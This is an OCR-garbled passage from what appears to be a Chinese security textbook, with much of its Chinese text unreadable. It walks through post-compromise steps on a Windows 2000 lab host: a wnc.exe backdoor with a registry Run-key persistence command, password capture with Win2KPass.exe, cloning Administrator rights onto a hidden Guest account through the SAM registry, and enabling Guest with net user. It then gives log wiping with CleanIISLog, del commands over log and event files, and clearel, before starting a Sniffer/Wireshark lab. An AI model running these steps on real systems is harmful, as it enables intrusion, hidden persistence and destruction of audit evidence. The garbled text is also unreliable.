F 1. 70 BIRE 25 AT — 1K wne. exe W1 E 8-8 Frzs., nf LA &7 51T 1% 4%
B S R A AT

]2 PATEEE A 452 “netstat -an” R & FFH JF 5 AY 808 M1 707 v 1, a0 & 8-9
FT7s
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102\ WINNT) \System32\cmd.exe - telnet 172.18.25.109 707

Microsoft Windows 2000 [Uersion 5.00.2195]
(C) RRANPTHE 1985-1998 Microsoft Corp.

C:\wnc>ipconfig
Windouws 2000 IP Configuration

Ethernet adapter & Hfiif#%:

Connection-specific DNS Suffix . :
IPAOArEES. . . « i+ = =% w» 5 1RA6R 1.6

Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . -
C:\uwnc>
< | 1V

E 8-7 WIEEFEIN

VA WINNT System 32\ cmd.exe :JQ_I _J_q
IC: \wnec 2unc .exe =
IC:\wne>™R

-

4 | Ml 4

B 8-8 37 Web R %
[\ JESE C\WINNT\System32\ cmd.exe =10] x|
tswncnetstat —an ;]
Active Connections _]

Proto Local Address Foreign Address State

cp #.8.9.8:21 #.8.8.8:8 LISTENING

ICP 8.8.8.8:25 f.80.0.8:8 LISTENING

TCP 8.9.8.9:42 8.0.8.9:8 LISTENING

TCP 8.0.8.8:53 f.8.8.08:8 LISTENING

TCcp A.9.0.P:80 #.0.0.8:8 LISTENING

ICP 8.0.9.9:119 9.0.0.0:8 LISTENING

TCP 8.8.9.8:135 8.86.8.8:8 LISTENING

TCP 8.8.8.8:443 8.8.8.8:8 LISTENING

TCP H.9.8.8:445 A.0.0.8:9 LISTENING

TCP 0.8.9.8:563 #.8.0.8:98 LISTENING

1.8.8.8:787 B.8.8.8:8 LISTENI NG
.B.8._8: 8.8.8.8:8 LISTENING
.8.8._8: B.8.6.8:8 LISTENING
.8.8._8: 8.8.0.8:9 LISTENING
8.8.8: 8.8.8.8:8 LISTENING
9.08.0: 9.9.0.0:0 LISTENING |

E 89 #mDOFRE

LISTENING: 1E7E W0, &7 LISTENING T i s 1, 52 B 50 693 80 0L ol DA% 32
viig 1 3 A T H AL 25 B2 52 I AT — 2L I 55 L I AR 14 SR 45 i 1R % P v

TIME WAIT. Z#5 %%,

ESTABLISHED. [EfE#E#T, XM YL E7EEE .

SYN_RECEIVED: 1E7E b FiE v iG R AR E . 24 H £ 4 SYN_RECEIVED ik &
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i AR REH T SYN Flood ¥ it .

CLOSE_WAIT: XJJ5 & 28 5CH] X Jr 3 2l ¢ P i 42 50 W 2% 5 60 3 B50E £2 B X I
I HPREZZZ L CLOSE_WAIT e i 38 7 228 H close O S {f 15 3% £ 1E 5 G 4] .

H B 3. Wi Web IR 5 808 3 [, 76 3 Y &% Hb HE £~ b A http://192.168. 1. 5:808, i
MEVLA RS anE 8-10 Frow. al LA R 2 x) Oy i & FOC R 09 4E 2 S0 O T 5 3C
AR ST A ), 7] L3 WINNT/Temp H 5 T & F X 5 % 15 & oitid 5 SO
(Config. inD) . 4N & 8-11 7. MIE 8-11 IATH #] .1 Web Mk 5 ik $& it S ALY TIRE . A]
UL b A% A |l SC A 21 %6 ik 55 2 4 32 B 5K

a HACKER - Microsoft Internet Explorer Inlﬂ

MO WEEO Y dme TAD #Hu [ ¥ |
=Ef -=- - DA AN Qex SvEk @RS P DH-93-EH Y0 :

HAE(D) | \a] hetp:/ 192, 168. 1, 5:808 v owEl
5] HACKER

&:\ Fixed Bytes free: 2162M/4078H
& conon

Network Neighborhood

=
&) T | [ Internet 4
& 8-10 &R ZF| Web
af: WINNT Temp', - Microsoft Internet Explorer _I_l- =) EI
THE REE BHY GRO TAD WY [ |
CRE-=2-Q A A Qex wwmx gus 9 D-I-J¥ @ |
ltﬂ:n:l[._-] http:// 192. 188. 1. 5 808 JWORIVE%C: /WINNT Temp/ -| o #E | R
] -
Directory: C:\WINNT\Temp\
Date Time Size Filename
10-18-2002 20:45 DIR> [\
10-18-2002 20:46 DI ..\
11-03-2003 01:12 <DIR> [)_ISTNFL.DIR\ rm DIR\
11-27-2003 23:46 117 BNl t=t
11-27-2003 23:17 111 orf1 ini
228 Bytes, 2 File=, 3 Folders
Upload File: || ... |
=l
] hetp:}{172.18.25.109:808/%ORIVEC: /WINNT/Temp/Config.ini ||| e internet /4

E 811 FHEMTHRE®

8.2.4 B wnc MBI BEZEFF

wne. exe HYJIHET: K . HIZ 1% ANHE H sl il #4047 , @ 2085 iz SCE 2| B ) sl i 4
xH .
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— M wne. exe SCHFRC RIS Y WINNT H g &5 WINNT/System32 H T, iX 4>
Hk & RGEWEE H R PATX I H =T 19 AT 245 1 BAKP B

B wne. exe fl reg. exe X # B 6 ) WINNT H T . H H reg. exe ¥
wne. exe A2 BN EMNR A H G sh2 H b, a2 B8 =00 -

reg. exe add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v service /d wnc. exe

PATI AW E 8-12 frs . AR LRI S F 5 9 5ol — 1.

C:\WINNT System32\ cmd. exe _H_l_glﬂ
2]
C:oreg.exe add HKLHSSOFTUWARENMicrosoft\Windows “CurrentUersion“Run /v service sd—
wne . exe
R ERTIEETR
 HAS .
=

E 812 mMEBEHEFH

R Al PLE AX 7 FALAYEDE B, n] L& F/ — X EM RN B g shn, & &8
ML A 8-13 i .

=101 x|
FEAER S8E FEY BWE i _
(] IPConfMSP =l | & =] e
[ BOVEE S8 (BR0) REG_SZ BEFEE)
- Modelsage |ab] pswmonitor REG_SZ
#-{_] MS5-DOS Emulation . REG 57 o
E S :tcm (28] System REG_SZ CH\WINNT\System3
:: = | sﬂms L‘ﬂ\ﬂ-‘lwara Tools REG_SZ C:\Program Files|viv
ji— :Jiahlh |3b]yMware User Process REG_SZ C:\Program Filesiyiv
.'_—J Run
(1 RunOnce
{_] RunOnceEx J
* ||_—] Satup
| SharedDlls
%1 (] Shell Extensions
&1 [ shellCompatibility =
« | LI_I < | 2]
|+ BA\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run P

B 8-13 By HIEME

8.2.5 IEERBIEROLEYITIE

AR B  EVLIFAS BN 5 04 DR ] DO EVLIEAT A AAARZ T o AH & — 4
AR O — MR H EA Bl — ORI LG 3 E s AEEM 1.

M T H 3 Win2KPass. exe iC 5% & 288 5 % 05 i B8 25 590 sk 78 WINNT
Temp Hsg FAY Config. ini XA A I SCF 24 ] fEA 2 Config. (HA2 " it 4 — & /& ini.
ZTLHEBAAE"AR"NIIRE . ST 2 m .- HaER A C .

H 1. X EAE RS P AT Win2KPass. exe

B CAEN B VE R G b AT Win2KPass. exe SCUF GRS AT 2022 5 il HD vl L4 %k 7 &
PUS L R ZHMB O ERITEV LG E WINNT\ Temp H % F 7= 24— ini X, 0
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&l 8-14 Fr7is .

1 C:\WINNT\ Temp =10l x|
_J YHE WSO BFSW WWe TROD S| |
| B - = -G QR (e PFHe | 50 X 00| B
JHﬂbﬂDL;}GH#ﬂmﬂﬂgmp :j o ¥
T Xl 2= | = .
© ®Clomercache 11 | L Ld
: 1 Fonts - JIstMPLDIR  (REENED
@ Help Temp
] I1S Temporary Cc
[+ ;_:I java Config.ini
] Media HCH & &
[+ ] msagent
% ) msapps fEcedial: 2003-11-28 7:17
] mww3z - 5
538 Offine Web Page XA FH
(] Registration RtE: (IER)
Clroow
‘l (=1 1 t!rl]i‘u 5 |
2N BREOE X 11 FP L = [&E 5T Z|

B 8-14 M FBFEER ini X4

S 2, T H
FT 250 Pk T LA 5006 540 U5 110 30 35 ), 0 Pl 815 7% » L A FH 26 TR 5 %40 9 %
B=t—,

& Config.ini - 23X -—IEI.E-'
IMHE RKEE B0 B
MIr2KTETS SR A A2 =

2003-11-28 7:17:10

=L AR

User=administrator; Pass=abcde; Domain=HACKER

B 815 ZFHAR

8.2.6 iFZHAH Guest EFEIE IR

FB 1. &F N EHL winlogon. exe 1) JEFE 5

Al LA T 2B psu. exe 18 BZC8E 19 A B/ M4 AL, K psu. exe & il 36 I F 41
1) C #&F I EE S E et A& FH X )7 EVL winlogon. exe ZEFERY ID 5 5 F {f H pulist. exe
A FZAE R 1D 5 K 8-16 FiR.

ME AT AT LA R gE R 5 O 192, F IS4 7 i 2 “psu -p regedit -i pid”, Z & 8-17
Bz Hop pid & winlogon. exe Ui #25

TER 2. &F SAM #1{H

TEFRAT psu fig 2 HY I g 00 Z50RE T8 2 O M, ST 58 w2 LAJA s H sl 4TI 1 TR 36 44 48
s B SAM T B, an & 8-18 Fr/n » &8 F/ Administrator fil Guest BRIAMYEE . ME
Al LE 1 . Administrator — K 0x1f4, Guest — 5tk Ox1{5. R 5 “0x1f4” A1 “0x1£57 3% 2|
Administrator Al Guest I FPAIREC S S8, WK 819 Frs.
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E windows I 2R s ;_Lglzj
XMHE) RO ZTE(Y b
HREF HE | |
BEEE PID] vl cru oie | A (4]
System Idle F. 0o 99 1:07:33 16 K
Systen 8 00 0:00:53 2712 K
EmMEE_ AXE 168 00 0:00:05 380 K
winlogon exe 182 00  0:00:07 2 000 K|
CErSE, exXe 186 00 0:00:29 708 K
Services. exe 248 00 0:00:07 5,082 K
lsass. exe 260 00 0:00:03 4,024 K
svchost, exe 300 00 0:00:00 2,464 K
svchost. exe 432 00 0:00:00 2,364 K
spoolsv. exe 460 00 0:00:00 3,112 K
conime. exe 492 00 0:00:00 a48 K
msdtc. exe 500 00 0:00:00 3,360 K
tepsves, exe 620 00 0:00:01 4,05 K
svchost, exe 636 00 D-00:-01 4,332 K
llssrv. exe 688 00 0:00:01 1,876 K
regsve, exe Tiz 00 0:00:00 664 K
termarv. axe Ti6 00 0:00:00 2,796 K
METask. exe T24 00 0:00:00 1,944 K j
A mar s TIE NN - - Ay 1 Nan ¥
[ EFHAERPORE S gEaee |
R 3s (cPu B8F8: 0% \ATFEMA: 91676k | 310888k
& 8-16 #&TEFH winlogon #iE S
| CAWINNT\System32\cmd.exe
C:Vpsu -p regedit -1 192 —
-
< I '
E 817 HiTpsuds
¢ M ERES =101 x|
%R S8E FEY BREe By
= ) HKEY_LOCAL_MACHINE Al| & = BB
B HARDWARE [BE) (LA Ox1F4 (KB AT HTE)
B SHM
= (2 saM
= ] Domains
(= (] Account
# ] Allases
& Groups
=] Users
(] 000001F4
(] 00DOO1FS
{_] 0DDOD3ES
(] 000003E9
(] 00DOO3EA
+{_] OOODO3EF
-{_] DDOO03F0 -
-{_] 000003F1
(] ooon0sF2
{_] DOOO03F3
[_] 000003R4
1;| 000003FS
__] 000003F6
=1 ] Names
;;| Admin
ot
) Guest hd )| 2
HEHLHKEY_LOCAL_MACHINE|SAMISAMIDomains! Account|Users\Names\Administrator 2

B 8-18 EFEMNNAEE
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T —a il %
EHER) RBO FEY BWmE Sy
+ ] HKEY_CURRENT_USER || @ = BE
=] HKEY_LOCAL MACHINE I:ﬂ{ﬁu} REG_SZ wﬁﬁi}
| EF-d HARDWARE Fil REG_BINARY 02 00 01 00 00 00 00 00 46 Fd bf d3 3e |
B el =gV REG_BINARY 00 00 00 00 a8 00 00 00 02 00 01 00 38
B 5am
= (] Domains
= (] Account
# ] Aliases
=1 Groups
__] 00000201
+ (] Names
H-] Users
= 000001 F4)
() CO0001FS —
(_] 000003EB
(] CODOD3EY
{__) OODOO3EA
{__) ODDOO3EF
(] 000003F0
] 000003F1
] 000003F2
() 0000033 ~| 14 | D
i+ HEAL\HKEY_LOCAL_MACHINE\SAMISAMIDomains|Account|Users\000001F4 P

E 819 KRERRER

H I8 3. il Administrator it & {5 5.
fEE 8-20 A2 Hpiy F 8 {E P IAAF 1 Ik P& {E B, N “000001F4” H 5% T #EHH
“F T L )RR 0 5 A 9 5 3 T 820 R

o T ERE S =10 x|
EEER WBE ST EWE Ny 2] %]
= ) HKEY_LOCAL_MACHINE
4 _) HARDWARE BEEW W B2
= ¥ 01 00 00 0D 00 00 46 fd bf d9 3¢
- B 5am BENE W 00 00 58 00 00 00 02 00 01 00 &
= L_l Domains e i - s ——
= (1 Account 16 F
] Allases
@ ] Groups
=[] Users
3 00D001F4
{_] 00DOO1FS
) OODDO3ES
(] 000003E9
(L) 00D0OZEA
{_] 00DOOSEF
(] 000003F0
i ] 000005F1 | 2
T BEALIHKEY_LOCAL_MACHINE\SAMISAMIDomains|Accountiisers\D00001F4 y

B 8-20 £ #l Administrator EIE REBEEE

TB 4. HE Guest HPEE G A

B 5 R i 45 2 4 35 1 “000001F5 " H sk ™ 1 F & (E b, in & 8-21 Fian. %
I, Guest gEAT LG 1 IF H EABHEH AR . H Guest ZETHEVLE M H P v R IE
WOREEAD .1 ZE e BanEE .

F$EBS:. FHER

Guest KPS HAEHAAIR 1. A TR Guest IR P AEZERI MR EE K, T —
HF Guest Ik PR B HEM R . E8E Users Hog IR R R B8 AR T /Y5 S0
MR SO I E IR AN — A B SR Al 8-22 B
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c I ERES — _ _iol x
e miae =z e U 2l x|
—| ] HKEY LOCAL My BEEH e
P @EFEE

=0 sam

R sam

0200 01 0000 0000 0000000000 C
0000 MO0O09c0000000Z20001009

mE_ | mm |
= S s ~ T | |
THEHLHKEY_LOCAL_MACHINE|SAM|SAM|Domains!ccount|Uisersi000001FS V.
E 821 EZGuest HRAHEREBEEE
CUHBRKKRSE 02020 0200 =10] x|
TSR S50 FEY BWEe Sy
SAERTZHD... = E EE
SHIEfETNHE. . aE)EL) Oxd
BT R = aRD)
HEHE) Chrip _ -
B0
= ] Account
&[] Aliases
#{(J Groups
] 00DOO1F4
(] 00D0O1FS
{_) 000003ES
{_] 000003E9
= ) 000003€A =il | L2
a5 NEfEL . 4

& 8-22

T 6. PR Guest Ik {5 B
FT TR LA PR AR HE 3520 I BE Guest F1“00001F5” AN H % . A 8-23 7k,

SHEE

=10] x|
TSR |EE FEY EWE Wiy
w1 Aligses .:J -'E# -
] Groups aB](BRiA) REG_SZ
=43 ETD —_— (3 REG_BINAR)
—~ Bg)v REG_BINAR)
() ocoog:  NEST
Cyoooon:  WRRR(N)
() ooooo:  EERE(E)...
(] 00000:
(] 00DOO: B
|:_| 00000: ER3®
] 00000 SAE(IN.ERRO
] 00000 S
(] 000003F4 hd || KJ 2
THEAL\HKEY _LOCAL_MACHINE\SAM\SAM\Domains'Account|Users\000001FS 4

E 8-23 Bk Guest IKPE R
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HIR 7. Wl 8 3R
il B E LI 90 3 2 B P 28 SO B9 X TR AE . an &l 8-24 firw

__'t BT ! 4;]&'
R R EEEEE |

| D 2% s

= tEnEEEn
=i REIA
v BHEES
+ & REER
* Ay 1R HENEIR
*giiiiﬁ X
T EE PR, HET LT
148 P S,
- () K
I MEEE =
O wEwR TR
= iZW3EaheR
v g BT
B RETRARSF

4 | 3]
1 1

B 8-24 RIFARPIIE

$BE8. FAGE

P S AR B S S ATEM R . RUBT P 93RS A 2 i B 8-24 19 X %
HE T .
T 9: B2 Guest K19 &P
X EVLR 24T TN Guest WHP B HEE.: —EEZEWMSITT.
BB Guest K A%, 2k “ 1234567, 31 4% Guest K P I )5 A5 1k, a0 &l 8-25
T 7 &

VI WINNT System32\ omd.exe .- .-.IE[_I"

=

C:"Onet user guest 123456 o

< D FE R

i onet user guest Jactive:yes

< P TE

C:onet user guest sactive:ino

ﬁém%?ﬂjﬁﬁ

i
=

B 8-25 {2 guest Ik P HI & 1

T 10:. &F Guest I P g 1E
BHE— FFEVVEERE O PE Guest IR, &2 3K P2 EE A . an &l 8-26 Frw .
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= it HIEN ] =10I %]
Bt BEY (= A@m XFEB| @ |
H | BT 23 g
CRETCE e =] | Fadmin
= i RETA [ Administrator B E LR B kP
o PHEER -Guest ft 3 20 o]+ ML AR O SRR P
3 RigEA £ 1aMHacker LAMHacker
+ ﬂ e B ENER £l 1Usr_ADSER,.. Internet FEWKS ESUNE Internet (REIRSR0A..
¥ s ?:IEII#F?E £l rwam_apse...  BEh IS I8k S B2 HaREEFR) Inter.
- & FHAPTE £ 520520
| jji ?;F K 1clnternetser  TelnternetUser 21 Pk PR IRIR £ Fr EA .
= ) R
_ HEET
B MERIEEESR &
= iZEMEhEE
¢ AT h4JKT : | B
i l

Bl 8-26 EF guest KPHIE M

S FHZERH A Guest Ik 18 5%
HFHEBEBH ARG . RFHH P 2 “guest” %0, “1234567 & &4 . UK 8-27 flr 7~

B33 Windows

Microsoft

"Windows 2000
Advanced Server
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BRI [oernns

wmE | mE | s »|

& 8-27 F Guest kP& F

8.3 R umIETE

2 i 55 (Terminal Services) & Windows #:4E &4 B w7 19 » 7] L) vo #2168 of & e B i
IR 7w . BE N VI FBRERE T BOAE M TR A iz ik s — A& E R .
&l 8-28 Pir~ . FFHIZ IR 55 (8 HH i 4 I 5L 300 W8 2% 7 =X n] DA 3% 2 2% 7 F 4L

8.3.1 [FHGETEEXNAENM

Windows 2000 #1 Windows XP H iy 1) 2 i ik 55 3% £ 1. H A & mstsc. exe, 1% [ Hrf
HUE U  B  F ALY TP Hhb gk ol L 42 an &l 8-29 Firw.

an 2R Har FE A0 2w ik 55 7205 s 19, 7] DL E $2 68 58 30 J5 19 52 10 . 78 8 R A2 S A H P 44
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=10] X

| ET wit (05 | Em=s [ERaH .
w &) Simple Mall Transport Protocol (SM... M. B.Bzh B=b LocalSystem
&y Smart Card ... Fzh LocalSystem
%Smat Card Helper 0w, ¥=h LocalSystem
& System Event Notification HiF.. EBzh B& LocalSystem
&Ry Task Scheduler fti¥... BBz B LocalSystem
& TCP/IP NetBIOS Helper Service iti¥.. BBz B LocalSystem
& Telephony Hit.. BBsh F=b LocalSystem
& Telnet L. ¥&h LocalSystem
& Uninterruptible Power Supply TR F&h LocalSystem
%Utiity Marager A ¥ah LocalSystem
& vMware Tools Service Provi... EBsh B&b LocalSystem
&y Windows Installer HE.. BBz F= LocalSystem
& Windows Internet Name Service (...  #iE... BBz H&b LocalSystem

& Windows Management Instrument... #t.. BB B LocalSystem J
&% Windows Management Instrument... 53E.. BJE=zh F&b LocalSystem

& Windows Time WE,. *zh LocalSystem hd

o oo fE SR

7 P2 ST

f_j i b
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i Web J5 30 £, iz T B AL JLAS SO 7 2085 5K 28 SCPFFEC B3 TIS py ol b 25
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£ Internet _ff_. Hl’.@r . M
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# | _EW LEAT L3
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¢\ C:\WINNT\System32'\cmd.exe N =1
: \WINNT \Tenp>d jxyxs .exe -]
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C 1
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2082-18-15 12:37 {DIR> 1386
2082-89-28 16:82 29 mraz
2UB2-09-24 HA3:52 294 azlj.dat
8 P 883,538 °F
3 EHE 1.979.490.3084 OJHFET
bl
B 8-36 HTEREWBERIF
8.4 M & kK &
T AT AR I B R B 7 M T R R B IR R B FL . RS AR SR

ARG RES KRR R SR EYE Y B B SR . HEX T RER SERZ
AT & WA, T R M 2% A B A R R R AR A H A — N A A B G A T R g
Ol H TR RGN PERE . — N EE B Y R K S TE AR DD e G B s 6 A O
AFIY H &

8.4.1 FRHBEHN=FA%

Windows ZG M HHE XA M HERHE XS HE RS HESF. AT EA0 H bk
#: WINNT\system32\ LogFiles F 5&F . ﬁﬁm OGN 7O AR A R G H RS
FEARE X 28 H S SCUF 9 3t bk 8 47 J08 19 7€ o - H P € EventLog T A AR 2 3% £ B if Af
A LI HERE N B K.

WARMAPEZEFERAC RSP HE X, |5 ZHE K-S 5 5k Windows #
gt ARE AR A TP A E R TR HAGE B H AR AR EEEITIFRA
e Tm PR Y H R SCH B an P RS B4 H AR, o] DU i 42 4 PR 7 2B 10, 7 981 HY Y PR $E SR
@Tiﬁ%“ﬁ‘l’i”ﬁ"”“ F2 T R AR5 A 0 T AE L B TR TR S BR H R TR AL AT DL BR

o (BEA T BR LA S s — & 2 5 P 6 A BE, Rl B AEZ Log X I BR Fr 5
HLFI{J'LliiEJE_ILJ [

i T H 34 CleanlISLog. exe AJ LU X — s, 1 S6K5 3% SO i 3 B 3 SCMF B 7
Hg. R 5 1T v & “CleanlISLog. exe ex031108. log 192. 168. 1. 10”7, 5 — > &= %
ex031108. log #& H & X4 . 2 e 6 fAUERAEH H 5 A S EUE EAE X Log I
ol B A 1P Hehb g2 A G Ay TP Huhk . Se a3k 2 an H sk & 89 30, A8 5 805 BR A #RAE
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AL %A LI HA

EAERR AR E 8-37 Fin.

=101 x|
Al
:\MINNT\system32\LogFiles\W3ISUC12>dir

Hzhd ¢ PpOE & WIN2000
S0FAS & 3178-180D9

C:\WINNT\system32\LogFiles\W3SUC12 ] H 3

2003-09-10 OT:11p <DIR>

2003-09-10 O7:11p <DIR>

2003-09-10 ©09:34p 485 ex030910. 109

2003-11-38 10:13p 3,679 ex031108. 109

2002-01-31 11:36a 131,072 CleanlISLog.exe
3 T 135.236 F71

2 T+BH 144 .887.808 O HIFY
IC:-\WINNT\system32\LogFiles\W3SUC12>CleanlISLog.exe exB831188_log 172.18.25.118

CleanlISLog Ver 0.1, by Assassin 2001. All Rights Reserved.

:tt:::::$t.P izzzzzzezss
Stopping Service w3suc.
Service wisvc Stopped.
Stopping Service msftpsvc.
Open Service Failed - 1060

Process Log File EX031108.L0G.. .Done (0000) Records Removed
:tzzxzztst.p 3izzzsEEsse

Sstarting up wW3suc.. ... ..

Service w3suc Started.

Restore Service

r:hHIHHT\agnt'lizxLugFiIrsxuaiuc12> _Iﬂ
af | .

E 8-37 MEIEEMNIPHIUMNAE

XX T A A H SRR bR (HE2WRE A RE  ARKRENINEH —1FHd
et bR H AR BR 7 B R BB H A R R L O Sa 5 it Ak B S R i

(@del c:\winnt\system32\logfiles\ * . *
(@del c:\winnt\system32\config\ * .evt
(@del c:\winnt\system32\dtclog\ * . *
(@del c:\winnt\system32\ % . log

(@del c:\winnt\system32\ * . txt

(@del c:\winnt * . txt

(@del c:\winnt * . log

(@del c:\dellog. bat

2 EHTHY N B RAT A dellog. bat & . #c3 ad 1PC 3L 523 32 Bl F2 0T FAL 1L f X
At Ak BROCPE AL B e R T LR GeF AT . BV RT3 BRizpL i H S SO

7190 i bR H OSSO vl DU B s =7 B0 EE AV Y elsave. exe 572 — 3K AT DL BR
LRULAMBRE T RSE HE N HETHE L2 HENRM . elsave. exe fiff I R AR
L ST A A B IR S i 7 TPC % 33 3 A fE a2 AT N IRAT i B a2« X A0 Al LU
PRIX L8 R gy R 4% H K S

8.4.2

BBRENAE

FHHERFE =L HE: WHERFHE. E2HEMASEH &, TUETENL FE
HER AR T TR EREHEGEE A 838 Fras.
i T 2B A clearel. exe, n] LA FEHIE R RS H &, 1 58K 1Z S AL BIX) 7 4L,
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8% MBEIN5H5BE 171
f PrsEs _= =10 X
Bt EEY (¢~ | AW EFLE 2
#| | ReEBE 71BH
L) BHEES TN xR =LY LEIC) *iB 5% ia
i EEEFEEE D EMEE 20031130 20:42:46  Security EAEE o
| #£B% 5 EMEE 2003-11-30  20:42:40 Security kPER ¢
R2GEE a2 Security, ‘
S EUTHEESE  2003-11-30 19:54:30  Security EPEE o
o BWEE  2003-11-30 19:54:02  Security EPERE 6
&) E=MEE 2003-11-30  17:07:24 Security EFERE 6
) M 2003-11-30 17:07:17 Security EkPEF 6
S EMEE 20031130 17:07:16 Security EPERE 6
,-;I’mﬁm 2003-11-30  16:27:21  Security krE: ol
‘ »
I l
E 838 &HEFEHZE
SRIGMIBR X =FF H &, ek
Clearel System M Bx & 48 H &
Clearel Security B4 4= H ik
Clearel Application 1 B A2 e B b
Clearel All Tl 5% 4= 36 H &
2 PATHY B AN 8-39 Fiw .
C:AWINNT System32' omd.exe .Inl XI
Al
IC:\>Clearel System
iC:\>Clearel Security
C:\>Clearel Application
IC:\>Clearel All
C-\) -
4 | W

E 839 BFBRHAE

PATSEE G AT PR AR K H KR &= 1, anE 8-40 k.

SR e =10] %
Bt BEY || = | O@ &0 2@ |
# | WREBFEE o7
L SHEEBE) E B CEEY FESE T

I AEs HE

| E2BE

| Z%EE

«| | |
I

E8-40 BFEFEBFHREMARE
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2] & 8

— . EZ:

1. JGI15H . il S EAWE TR 2

2. UKL E WA R SO — A I — A

3. RTCS. vbe T HBMm e =& .

4. NTIM B uEsEm A — ME. 2RI 2 . Telnet % 3% wF. H 09 1H
yiis 19 :

5. JCAREH M A BT #E R

6. Windows Z& 1 H & A \ Al

7. MBI H & A 2

. B

1. ARG R IFRAARDSHETTX N S5KER.
2. MR EG H & L4 H&E 0 HERFH E?
3. WnAn] ¥ g BT BLAS 1Y 28 v ik 557









IV S S

ATEALAE 34 S, TARKHY 5E hlX LE LG {1 IR AE R GTny ik £ B 5 n9 B3 it
TG Y A L Y FRIE L

WS —  Sniffer fil Wireshark - B 8104918 H

1. XEHM

(1) =2 1 37 28 WA 2044 Sniffer 1 Wireshark A9 3EAS R FH ORI IR AATEAE |
(2) K Sniffer Fl Wireshark — S84 HI 1) a2 F1 1 B o A2 ) 246 & 4 114 | Bk

2. XWATERH

% FHLERAME £ 55 . Windows 2000/ Windows XP,IP #uhl & 192. 168. 2. 1,

i %5 25 854E 248 . Windows 2000 Advance Server / Windows XP, 1P #iihl & 192. 168. 2. 2,
AL A Snifferd. 7.5/ Wireshark-win32-1.4. 9 /1 ki,

SEEG IS R AW S LA . T LA R L 7E R BUPL T 22 3 Ik 55 4% Windows 2000

Advance Server / Windows XP, 0] A% P AL HIR 55 a5 7 i) 222 B B HIPL T .
3. XEHR
H Sniffer 114 .

(1) 2%, FEMRE2S A E 9-1 Fr /s Y SnifferPro 4 70 530. exe &%, 2258 B
K 9-2 Fr7s 23 A 18] 9-3 B s AFE 2235 i i vh

WhZ i A —AN 5 @ () E-mail F1— 4~ SN {5 51 5, 4 ﬁf‘ feur Fortais | = :-""‘ ¥
& 9-4 RN 9-5 Fim , Hib N A IR E SR ABD ] . %2 S
e 58 WA T B EORT R Bt AL B 9-1 Sniffer {23 E R

A, Sniffer Portable 4.7.5 — InstallShield Wizard

]

Welcome to the InstaliShield Wizard
for Sniffer Portable 4.7.56

The InstalShield Wizard (T will help install Sniffer Portabls
4.7.5 on your computer. To continue, dick Next

E 9-2 Sniffer I LER T
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L B dfer Fye A1

Sniffer Pro 4.7.5 - Setup

B 9-3 RERTE

P Sniffer Pro User Eegistration

Enter your name and information * — Indicates s

* First Nane |NETH

% Last Name: jCl‘Lln&hEl]lIlg

® Business lkexe

. ixexcOl

® Customer Education _:J
* E-mail 11234E8qq. com

T—%5@ > WK

E 9-4 HWAT@H E-mail

(2) Ja3h: Ji3h Sniffer 1Y 5 40 E 9-6 Fron . I Z /i 26 20 S v B 2L MY Zodls 1219
A, EPEFE R Capture T BY Define Filter (I 1 E 2% ) =2 8100, @1 & 9-6 Fr7s .

7E B Define Filter XP{EHEH , 8 Address $£T K. & O i Z &M~ Hr7 . 78
Address F g b e IM40 A9 25580 4 1P, 7F Station 1 FHi A K P HLAY 1P Hihlk 192. 168.
2. 1.7F Station 2 T ¥ A RS 2509 1P Hohlk 192. 168. 2. 2, W& 9-7 fr7s .

WE e e . % B H 1Y Advanced #EI0R L 3% vh ZEPUEL Y 28 A8 L HE S R 3 A B TP
1, % 1P A1 ICMP &b & 9-8 7
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P Sniffer Pro User Eegistration |X!

s miip
wrireGost
v

* Please let us know where you
heard about this product. I“Iutl:mi ad ll

Do you wish to receive " v
announcements sbout this I . —]
product?

May we share your name with II-:L _.._I
other companies that use NAI
products?

* Sniffer Serial Number | S4-2558Y-255Ta-2LASH

<t—5@[T-5® > mE |

E9-5 WMAFIS

Sniffer Portable Local, Ethernet (Line speed at 10 Nbps)

File Monitor QN33

Capture Fansl

Select !il'f.g. ¢

Trigger Setup..

B 9-6 Sniffer TR @\

efine Filter Capture
Summary Address Ilht:. Pattern | Advanced | Buffer | Settings For
Address !_ﬁm Mddra=se" ﬂ]riz.bl!] m
Bode + -B:ruda:“tfﬂulticut Address
& Include @Addﬂ:: Book
(" Exclude
Station 1 Dir. Station 2 A
1_J19216821 B~ &l 19216622
. L Aad ) =
3 Heq|
4 S8
5 - had ]
6 &= v
- I ==

B 9-7 AFME it

] FHESNTE 30 7% K TCP #1 UDP i, B4 TCP Ty FTP #1 Telnet B > ik Ji ik
L i 9-9 Bk,

fk 22 SR h 2k . kb UDP T A9 DNS, anE 9-10 frs . iX A Sniffer (N0 3 1€ 7
i ETET .,
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Define Filter — Capture

51!.#}' Address I Data Pattern Advanced Ilu.fftr | Settings For:

Packet Size Facket Type

I A1l W Normal
W CRC Error
i Jabber

Rmn | Frofiles. ..

B 9-8 & IP #1 ICMP

Define Failter Capture

Sunmary | Address | Data Pattern Advanced |Buffer | Settings For

Packet Size Packet Type

I a1l v Normal
WICEC Error
v JTabber

Wi | Profiles. ..

E 9-9 it FTP #0 Telnet

Define Falter Capture

Sunmary | Address | Dats Pattern Advanced |Buf£tr | Settings For:
[ §= SwTF - :
[ S5 SUNRPC (TCP)
V %5 TELNET
[T 25 ¥-¥INDOW
- V%5 unr
[~ $= BIFF
[ ®s pooTP
[V 2 pEs (unp)
™% cop v
— - -
Packet Size Facket Type
| Al :] W Hormal ~
WICRC Brror
All sizes W Tabber v
WRE Wil | Profiles

E 9-10 3% DNS
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(3) 0L FeiE £ 58 Capture THY Start Jg a4, WK 9-11 Fis .

~ Sniffer Portable - Local, Ethernet (Line speed at 10 Nbps)

File Monitor EMNASSSE Display Iools Database Window Help

Capture Fanel

Defirie Filter
Select Failter

Trigger Setup

E9-11 RBzilg

SRIGTERE P VLT RS izt CMD 4. iEA DOS & 0 . 7E & P AL DOS & [ 7 ping
HEWAHLAR 55 25 > W& 9-12 F 7 .

+ C:\WINDO¥WS\system3iZ\cmd. exe

Microsoft Windows XP (KA 5.1.2600)
<G ﬁﬁ*ﬂﬁﬁ?ﬁ 1985-2001 Microsoft Corp.

C:“JDocuments and Settings“Administrator?ping 192.168.2.2
Pinging 192.168.2.2 with 32 bytes of data:

Reply from 192.168.2.2: bytes=32 time=4mns TTL=128
Reply from 192.168.2.2: bytes=32 time{ims TTL=128
Reply fFrom 192 _168.2.2: bytes=32 time<ims TTL=128
